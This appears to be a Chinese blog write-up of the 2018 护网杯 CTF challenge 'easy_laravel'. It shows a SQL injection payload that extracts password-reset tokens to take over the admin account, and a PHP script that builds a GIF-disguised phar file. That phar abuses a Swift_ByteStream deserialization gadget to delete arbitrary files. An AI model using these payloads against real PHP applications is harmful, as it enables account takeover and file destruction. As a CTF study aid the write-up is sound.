零 前言

感觉这道题,出的,非常妙
参考出题人的博客 https://qvq.im/post/%E6%8A%A4%E7%BD%91%E6%9D%AF2018%20easy_laravel%E5%87%BA%E9%A2%98%E8%AE%B0%E5%BD%95

但是自己太菜了。只能跟着大佬的步伐在后头摸索

1. 安装

git clone https://github.com/sco4x0/huwangbei2018_easy_laravel
docker build

之后我在dockerUI里面启动了。没有什么问题,感谢出题人提供环境

2. 基本知识点

说实话我也没有如何用过composer
唯一的时间就是研究 jwt 的时候用composer下了些第三方库

一. 基础审计工作

登录页面F12拿部分源码

<!-- https://github.com/qqqqqqvq/easy_laravel -->

之后composer install 。代码就完整了。

php astrisan route:list 看一波路由。当然route部分也可以看到。

护网杯2018 easy_laravel 复盘-ShaoBaoBaoEr's Blog

也许HTTP的文件夹就类似于django的app文件夹。里面放了相关的中间件。同时也可以看到一些权限控制的内容。

admin中间件
在adminMiddleware 的地方,可以找到admin的中间件,判断条件是admin的邮箱是否为admin@qvq.im。

    public function handle($request, Closure $next)
    {
        if ($this->auth->user()->email !== 'admin@qvq.im') {

register控件
在registerController 的地方,可以找到注册的步骤,可以看到密码是被特殊加密过的,显然不可能通过注入来找到原来的密码

    protected function create(array $data)
    {
        return User::create([
            'name' => $data['name'],
            'email' => $data['email'],
            'password' => bcrypt($data['password']),
        ]);
    }

SQL注入
在noteController 的地方,可以找到一个很明显的sql注入,通过注入 admin'# 的用户名即可在查询的时候查到admind的内容


public function index(Note $note) { $username = Auth::user()->name; $notes = DB::select("SELECT * FROM `notes` WHERE `author`='{$username}'"); return view('note', compact('notes')); } }

重置密码的操作
这里要跟踪看 laravel 的源码

    public function showResetForm(Request $request, $token = null)
    {
        return view('auth.passwords.reset')->with(
            ['token' => $token, 'email' => $request->email]
        );
    }

需要email 和 token 才行。token放在password_reset里面,email在注册的时候有。那么是如何重置的呢?

当点击重置的时候会触发resetPasswordController

    use SendsPasswordResetEmails;

护网杯2018 easy_laravel 复盘-ShaoBaoBaoEr's Blog
在检测是否存在后会返回token并写入库中

protected function getPayload($email, $token)
{
    return ['email' => $email, 'token' => $token, 'created_at' => new Carbon];
}

数据库结构
在database的文件夹下可以找到数据库的自动化生成文件。(这个和django比较类似—)
不过有坑点是这里的列名和实际环境中的不太一致

user 6列

        Schema::create('users', function (Blueprint $table) {
            $table->increments('id');
            $table->string('name');
            $table->string('email')->unique();
            $table->string('password');
            $table->rememberToken();
            $table->timestamps();
        });

password reset 3列

   Schema::create('password_resets', function (Blueprint $table) {
            $table->string('email')->index();
            $table->string('token')->index();
            $table->timestamp('created_at')->nullable();
        });

note 4列

        Schema::create('notes', function (Blueprint $table) {
            $table->increments('id');
            $table->string('content');
            $table->string('author');
            $table->timestamps();
        });

二. SQL注入拿管理员token

OK 现在目标很明确了,通过注入拿到管理员的token和email就可以了,那么如何拿呢?

首先,如果直接注入,注册用户

admin' or 1=2 union select 1,(select group_concat(token from password_resets),3,4,5#

是无法拿到token的。很简单,你还没发token了嘛~(由于没截图所以直接说了。)

是很简单,这里需要先登录出去,然后用admin的邮箱发一个resetpassword 的邮件,当然这会返回错误,因为这个docker不可能有邮箱功能,有也收不到。

不过token已经入数据库了,此时将token就可以注入出来了。

f8f63b51d1fe1616f1f12661c78a8a8cd25d2e58ae2466631649f6e6bc258c21

之后根据路由表,访问

/password/reset/<token>的链接

即可重置密码,第一部分结束
护网杯2018 easy_laravel 复盘-ShaoBaoBaoEr's Blog

三. blade 模板

nginx的默认配置
之前用假的admin身份登录的时候有个一个信息也很gau关键

    nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的

代表着nginx用的默认配置,或者说web的根目录是

/usr/share/nginx/html
# 验证一下确实如此
root@shaobao-Precision-3510:~# docker exec 2230145add77 ls /usr/share/nginx/html/
app
artisan
bootstrap
composer.json
composer.lock

flag没了?
之前,在flagController中,有这样的内容;而view中的模板会将flag的内容打印出来。

    public function showFlag()
    {
        $flag = file_get_contents('/th1s1s_F14g_2333333');
        return view('auth.flag')->with('flag', $flag);
    }

也就意味着,原本点击flag的内容,应该就会直接出现flag。但是这里并非如此,而是显示no flag
护网杯2018 easy_laravel 复盘-ShaoBaoBaoEr's Blog

blade 模板 与 缓存
根据提示的内容,不难发现是缓存文件在作怪。

护网杯2018 easy_laravel 复盘-ShaoBaoBaoEr's Blog

题目给出了提示是pop chain | blade expired | blade 模板

Blade 是 laravel 提供的一个简单强大的模板引擎。它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。

引用出题人的话,就是说:

在 laravel 中,模板文件是存放在 resources/views 中的,然后会被编译放到 storage/framework/views中,而编译后的文件存在过期的判断。

而在 Illuminate/View/Compilers/Compiler.php 中可以看到

/**
 * Determine if the view at the given path is expired.
 *
 * @param  string  $path
 * @return bool
 */
public function isExpired($path)
{
    $compiled = $this->getCompiledPath($path);

    // If the compiled file doesn't exist we will indicate that the view is expired
    // so that it can be re-compiled. Else, we will verify the last modification
    // of the views is less than the modification times of the compiled views.
    if (! $this->files->exists($compiled)) {
        return true;
    }

    $lastModified = $this->files->lastModified($path);

    return $lastModified >= $this->files->lastModified($compiled);
}

对此,我特地去看了看docker里的缓存文件到底是什么。很显然,其内容就是no flag。造成这样的原因,就是有这个缓存文件的存在,覆盖了原本的flag.php

root@shaobao-Precision-3510:~# docker exec 2230145add77 cat  /usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
<?php $__env->startSection('content'); ?>
<div class="container">
    <div class="row">
        <div class="col-md-8 col-md-offset-2">
            <div class="panel panel-default">
                <div class="panel-heading">Dashboard</div>
                <div class="panel-body">
                no flag
                </div>
            </div>
        </div>
    </div>
</div>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.app', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>

那么这个文件名是从何而来的呢?

/vender/bootstrap/cache/compile.php下,有告诉你这个是如何算出来的。

    public function getCompiledPath($path)
    {
        return $this->cachePath . '/' . sha1($path) . '.php';
    }

而这个path就是模板文件的真实地址。实际上可以把它理解未django里面的template目录下,用jinja2语法写的模板文件。我们注意到,在给的代码中,其模板文件的地址是:
resources/views/auth/flag.blade.php

所以真实的文件路径应该是

/usr/share/nginx/html/resources/views/auth/flag.blade.php
sha1() ==> 
34e41df0934a75437873264cd28e2d835bc38772

OK 和我们之前docker中看的文件一致。

所以,总结下来,我们要做的事情如下

  • 通过upload 上传一个奇怪的东西
  • 通过这个奇怪的东西来删除缓存文件。

四. popchain 与 phar 伪协议

smi1e老哥给我发东西的时候我正好做到这里,之前做WhaleCTF中级题目的时候。接触过phar的东西。在此不多赘述。
有兴趣的话,可以看看smi1e的文章 https://www.smi1e.top/?p=364

我们知道 phaer 文件是以序列化形式存储的。当解析它的时候,必然会用到反序列化的一些魔术方法。受影响的函数包括
护网杯2018 easy_laravel 复盘-ShaoBaoBaoEr's Blog

在uploader控件的地方,注意到一个函数。file_exsits 。这就是phar文件的跳板。
护网杯2018 easy_laravel 复盘-ShaoBaoBaoEr's Blog

  • 尽管我们有代码了,并且已知上传路径了,但是文件是不可以直接访问的。因为这个php模板已经严格控制了路由。
  • 同时,我们注意到,有一个隐藏的path参数,可以让我们来控制 路由,
  • 另外检验文件类型的函数是获取文件头,这也是为什么之后的payload中要加入文件头的原因。
    护网杯2018 easy_laravel 复盘-ShaoBaoBaoEr's Blog

OK,接下来是要去找哪里有删除的函数 unlink或者__destroy__了。
利用phpstrom全局搜索可以找到它。注意必须找到一个带有 删除文件功能的析构函数

护网杯2018 easy_laravel 复盘-ShaoBaoBaoEr's Blog

OK 我们找到了 Swift_ByteStream_TemporaryFileByteStream 这个类,里面有让我们心动的__destruct和unlink函数。仿佛就是为这个题目量身定做的。

之后,我们生成一个 phar文件,别忘了开启php.ini中的设置

<?php
    include('autoload.php');
    $a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
    var_dump(unserialize($a));
    var_dump($a); # 这个函数很有趣,$_path 也就是删除的目录是可以自己制定的,将这里面的内容换成我们想要的内容,就可以删掉flag的缓存文件。
    $a = preg_replace("/\/tmp\/FileByteStream[\w]{6}/","/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
    $a = str_replace('s:25', 's:90', $a);
    # 这里将 _path 的内容修改掉
    $b = unserialize($a);
    $p = new Phar('./shell.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); # 改文件头
    $p->setMetadata($b);
    $p->addFromString('test.txt','text');
    $p->stopBuffering();
    rename('shell.phar', 'shell.gif')
?>

OK,这样我们就有一个phar文件了。虽然被限制了路由,但是可以通过真实的路由去访问它。

「这道题能不能webshell呢?」

我觉得不行,之前已经说过了。那个文件是不能通过web来访问的,包括资源也是。webshell也自然不行了。

五. char 协议删除模板文件

上传文件后,加入path参数来触发函数,即可完成删除。
护网杯2018 easy_laravel 复盘-ShaoBaoBaoEr's Blog
注意最后的文件名是拼接的,实际的路径是

phar:///usr/share/nginx/html/storage/app/public/shell.gif

反序列化的过程中,触发了我们藏在里面的 析构函数,之后又删除了模板文件。
护网杯2018 easy_laravel 复盘-ShaoBaoBaoEr's Blog

如你所见,现在的缓存模板被刷新了,flag就能正常显示了

root@shaobao-Precision-3510:~# docker exec 2230145add77 cat ./storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php
<?php $__env->startSection('content'); ?>
<div class="container">
    <div class="row">
        <div class="col-md-8 col-md-offset-2">
            <div class="panel panel-default">
                <div class="panel-heading">Dashboard</div>
                <div class="panel-body">
                    <?php echo e($flag); ?>

                </div>
            </div>
        </div>
    </div>
</div>
<?php $__env->stopSection(); ?>

<?php echo $__env->make('layouts.app', array_except(get_defined_vars(), array('__data', '__path')))->render(); ?>r